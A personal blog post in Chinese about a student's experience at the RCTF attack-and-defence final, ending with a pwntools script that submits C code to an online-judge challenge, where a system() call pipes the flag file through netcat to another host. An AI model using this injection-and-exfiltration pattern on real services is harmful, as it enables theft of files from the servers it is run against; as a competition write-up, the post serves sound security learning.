RCTF_final

###打醬油的一場比賽…

起初是沒有想過出去打比賽的,想說自己能力完全不足根本去玩?
結果學長來找時,還是答應了>_<(太沒定力了),另外一個去的原因也
是想要體會一下Attack and Defence,畢竟期末電安還是會需要這方
面的經驗。

福州四天三夜的最大的收穫莫過於知道自己能力的不足,打CTF的經驗也差很多,連exploit都很難寫出來,甚至沒有patch binary的經驗,去打比賽就像老師說的也是浪費時間。謝謝學長很努力的在打比賽之餘也教了我們許多東西。

還有認識台科大的一群大大 <( )>,大多從國高中就開始寫外掛,做逆向分析等等… 回想那時候 我好像還在玩遊戲、完成父母的期望,儘管我有網路了,還是像個井底之娃一樣。

比賽的那幾天晚上,大家都很努力的在解題目,想想自己的漏洞、事前準備工具,我想我也是去比賽裡面算睡多一點的~ 比完第一天之後,有聽台科大說某某題很簡單,學長表示:那題就交給你了! 因此我也開ida pro分析、執行程式看一下流程,沒想到最後解出來居然跟我分析的都沒關連XDDD
果然還不太會看… 最後是單純用想的想到的=_=

題目就是一個online judge,可以幫你編譯C code並執行,
執行的時候拿不到shell,但是可以用system下一些無回饋的command(估計是會比較輸出的東西給judge或是compile時間會太久command都會失效)

下面是寫出來的exploit

1
from pwn import *
import sys

host = sys.argv[1]
port = 2345
r = remote(host, port)
print r.recv()

choice = 2
c_file ='''
#include <stdlib.h>
using namespace std;
int main(void){
    int a=1;
    int b=2;
    system("cat /home/flag/flag | nc 172.16.5.12 20004;");
    printf("%d", a+b);
    return 0;
}'''
r.send('2')
r.send('\n')
r.send(c_file)
r.send("\n\n\n")
print r.recv()
r.interactive()
#r.send('4')
#r.close()

沒想到…

最悲慘的就是隔天這個exploit打不到任何一隊… WTF~~~~

問了之後才知道大部分隊伍其實都patch了 以及許多隊伍都看題目了想出exploit,在compiler的時間上會花較多所以幾乎都沒用,要修改成kernel 提供的sendfile來explit才會成功的樣子…

據說分析的時候可以看出config檔中system call是屬於白名單,能呼叫兩次的樣子,(不過我自己是都沒看到…T_T) 真的是太廢了…